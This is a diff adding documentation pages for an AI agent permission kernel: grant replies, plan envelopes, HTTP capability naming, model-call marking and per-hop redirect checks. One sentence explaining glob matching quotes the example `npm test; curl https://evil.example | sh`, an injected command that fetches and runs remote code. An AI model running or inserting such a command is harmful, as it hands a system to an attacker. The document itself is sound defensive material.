51
+
52
+ Show the resource verbatim. It is the exact string that will be matched, and
53
+ the difference between `/workspace/src` and `/workspace/src/../..` is the whole
54
+ decision.
55
+
56
+ ## Reply
57
+
58
+ ```ts
59
+ yield * store.reply(request.requestId, "once")
60
+ ```
61
+
62
+ | Resolution | Use it when |
63
+ | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
64
+ | `once` | This one operation, nothing more. Adds no rule. |
65
+ | `run` | Everything like it for the rest of this run. Requires a `planDigest` on the store; without one the reply fails with `invalid_resolution` and `"run grants require a plan digest"`. |
66
+ | `remembered` | Everything like it, now and in later processes, once a journal-backed store is persisting. |
67
+ | `deny` | Refuse. The parked fiber fails with `permission_denied` and the reason `"permission request denied"`. |
68
+
69
+ For `run` and `remembered` you may pass a third argument, an explicit
70
+ `CapabilityPattern`, to say what "everything like it" means:
71
+
72
+ ```ts
73
+ yield * store.reply(
74
+ request.requestId,
75
+ "run",
76
+ new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/src/**" })
77
+ )
78
+ ```
79
+
80
+ Without one, the pattern is derived from the exact capability. A resource that
81
+ contains glob metacharacters has no unambiguous derived pattern, so the reply
82
+ fails and tells you to supply one or resolve `once`.
83
+
84
+ A supplied pattern is checked before it is stored. It cannot name a different
85
+ action, reach a more dangerous effect tier than the request displayed, or be a
86
+ wildcard-bearing pattern identical to the resource; any of those fails with
87
+ `invalid_resolution` and `"grant pattern exceeds the requested authority"`.
88
+
89
+ Adding a rule wakes every other parked request the new rule now allows, so one
90
+ `run` grant for `/workspace/**` clears the queue behind it instead of asking
91
+ once per file.
92
+
93
+ ## Approve a whole plan at once
94
+
95
+ A per-operation prompt is the wrong shape when a plan already declared what it
96
+ needs. `grantEnvelope` approves the whole set before the work starts:
97
+
98
+ ```ts
99
+ yield * store.grantEnvelope({
100
+ planDigest: "plan-abc",
101
+ scope: "run",
102
+ patterns: [
103
+ new Capability.CapabilityPattern({ action: "fs:read", resource: "/workspace/**" }),
104
+ new Capability.CapabilityPattern({ action: "proc:spawn", resource: "npm test" })
105
+ ]
106
+ })
107
+ ```
108
+
109
+ Grant commands exactly. A `*` in a `proc:spawn` resource matches any text,
110
+ including `;` and line breaks. A `shell: true` line with control syntax is
111
+ checked as `sh -c '<line>'`, and every pipeline stage is checked on its own,
112
+ so `npm test*` approves neither `npm test; curl https://evil.example | sh` nor
113
+ the `sh` stage of a pipeline. It still approves `npm test --watch` and any
114
+ other argument list.
115
+
116
+ An envelope is a set, not a sequence. Its patterns are deduplicated and sorted
117
+ before anything is stored, so approving the same predicates in a different
118
+ order is the same approval and the repeat is a no-op rather than a second
119
+ durable record. `GrantStore.envelopeSignature(planDigest, scope, patterns)`
120
+ computes that identity if you need to compare envelopes yourself.
121
+
122
+ `scope` is `"run"` (the default) or `"remembered"`. Envelope patterns must
123
+ preserve exact action and filesystem effect-tier boundaries, so an envelope
124
+ cannot turn a read approval into a write one.
125
+
126
+ A store can also be constructed with an envelope already approved, through
127
+ `MakeOptions.envelope`, and told which signatures are already durable through
128
+ `MakeOptions.envelopeSignatures`. A construction envelope whose signature is
129
+ already seeded still activates its rules but is not persisted again.
130
+
131
+ ## Errors you can get back
132
+
133
+ `reply` and `grantEnvelope` fail with a `GrantStoreError`. The in-memory store
134
+ raises four codes:
135
+
136
+ | Code | Cause |
137
+ | -------------------- | ------------------------------------------------------------------------------------------------------------------------ |
138
+ | `request_not_found` | No request with that id is parked. It was already answered, or the store was rebuilt. |
139
+ | `store_closed` | The store's scope has closed. |
140
+ | `invalid_resolution` | An unknown resolution, a pattern that exceeds the request, a missing plan digest for a `run` grant, or a bound exceeded. |
141
+ | `journal_failed` | Only from `JournalGrantStore`: the decision could not be persisted, so it was not activated. |
142
+
143
+ `GrantStoreErrorCode` also includes `duplicate_request`, which an attended
144
+ surface of your own may use; the kernel's in-memory store does not raise it.
145
+
146
+ ## Related
147
+
148
+ - [How a grant decision is made](../concepts/grant-decisions.md): what turns
149
+ into a parked request in the first place.
150
+ - [Persist grants across restarts](./persist-grants-across-restarts.md): make
151
+ `remembered` mean something after the process exits.
@@ -0,0 +1,118 @@
1
+ ---
2
+ title: "Authorize network and model calls"
3
+ description: "How the HTTP decorator names a request as a capability: the method-to-action mapping, the implicit https scheme, per-hop redirect checks, and marking a request as a model call."
4
+ sidebar:
5
+ order: 5
6
+ ---
7
+
8
+ Network access is Effect's `HttpClient`, and the kernel decorates it. There is
9
+ no Smithers transport port beneath it, because a raw port would be a second way
10
+ to reach the network whose contract never mentions permission.
11
+
12
+ ## What a request is checked as
13
+
14
+ The decorator derives one capability per request:
15
+
16
+ | Request | Action |
17
+ | --------------------------------- | ------------ |
18
+ | `GET` or `HEAD` | `net:get` |
19
+ | Every other method | `net:post` |
20
+ | Any method inside `withModelCall` | `model:call` |
21
+
22
+ The resource is the URL host, and the scheme decides how it is written:
23
+
24
+ - For an `https:` URL, the resource is the **lowercased host** alone:
25
+ `https://API.Example.test/v1/x` names `api.example.test`.
26
+ - For every other scheme, the resource is `<scheme>//<lowercased host>`:
27
+ `http://API.Example.test/x` names `http://api.example.test`.
28
+
29
+ `https` is therefore the implicit scheme, and a grant for `api.example.test`
30
+ can never authorize a cleartext `http` downgrade to the same host. The path,
31
+ the query, and the headers are not part of the resource.
32
+
33
+ A URL that is not absolute and parseable fails with `permission_denied` and
34
+ the reason `"HTTP capability checks require an absolute, parseable URL"`.
35
+
36
+ ## Mark a model call
37
+
38
+ The same host answers many models, and a grant for one must not be a grant for
39
+ the rest. Effect's tag has no room for an extra method, so the intent rides on
40
+ a context reference:
41
+
42
+ ```ts
43
+ import { HttpClient } from "@smthrs/kernel"
44
+
45
+ const call = provider.chat(request).pipe(
46
+ HttpClient.withModelCall("anthropic:claude-sonnet-4-5")
47
+ )
48
+ ```
49
+
50
+ Every outgoing request inside `call` is checked as `model:call` on
51
+ `<resource>/<model id>`, so the example asks for
52
+ `api.anthropic.com/anthropic:claude-sonnet-4-5` rather than for the host in
53
+ general. The reference is `HttpClient.ModelCall` if you need to read it.
54
+
55
+ ## Every redirect hop is checked
56
+
57
+ A redirect is a second network destination, so it needs a second grant check.
58
+ Two halves guarantee it:
59
+
60
+ 1. The client below the decorator must **not** follow redirects on its own:
61
+ Undici with no redirect interceptor, or Effect's fetch layer with
62
+ `redirect: "manual"`. The decorator forces `redirect: "manual"` on the
63
+ `RequestInit` of every request it executes, so a plain
64
+ `FetchHttpClient.layer` cannot walk to another origin either. A custom
65
+ client that ignores `RequestInit` must meet the precondition itself.
66
+ 2. By default, the decorator composes Effect's `followRedirects` **above** the guard, so
67
+ every hop re-enters the guarded path and is checked exactly like hop zero.
68
+
69
+ An authorized origin cannot lend its grant to another.
70
+
71
+ To handle redirects yourself, provide `FetchHttpClient.RequestInit` with
72
+ `redirect: "manual"` around the guarded request. It returns the first hop's
73
+ response without contacting the redirect target. Your loop owns the hop
74
+ limit, and each subsequent request through the guarded client receives its
75
+ own grant check. Other request options are preserved. A manual setting
76
+ provided privately to the raw host client only prevents transport-level
77
+ redirects; the guarded client still follows redirects by default.
78
+
79
+ ## Read a refusal back
80
+
81
+ Effect's tag fixes the error channel to `HttpClientError`, so a refusal arrives
82
+ projected. The reason is always a `TransportError`: the request did not leave
83
+ the host. `description` carries the human rendering, and `cause` carries the
84
+ structured kernel failure:
85
+
86
+ ```ts
87
+ import { HttpClient } from "@smthrs/kernel"
88
+ import { Option } from "effect"
89
+
90
+ const permission = HttpClient.fromHttpClientError(failure)
91
+ // Option.some({ code, capability, tier, requestId, ... })
92
+ ```
93
+
94
+ `Option.none()` means the failure was a genuine transport problem, not a
95
+ permission decision.
96
+
97
+ ## Requests are snapshotted
98
+
99
+ A request record a caller still holds is a way to change the destination after
100
+ it was authorized. The decorator snapshots the URL parameters, the headers, and
101
+ the body, copying byte buffers and form data, before any permission suspension.
102
+ A body that is neither immutable nor copyable fails with
103
+ `"HTTP request must be an immutable supported request description"`.
104
+
105
+ ## Hosts with no network
106
+
107
+ `HttpClient.layerNoop()` provides a client whose every request fails with a
108
+ `TransportError` naming the request and the cause
109
+ `"HTTP is unavailable on this host"`. Use it for a host that genuinely cannot
110
+ reach the network, so an unconfigured capability answers rather than vanishing.
111
+ `@smthrs/testing/TestHost` composes it.
112
+
113
+ ## Related
114
+
115
+ - [Write a capability policy](./write-a-capability-policy.md): naming hosts and
116
+ models in rules.
117
+ - [Decoration in place](../concepts/decoration-in-place.md): why the error is
118
+ projected rather than widened.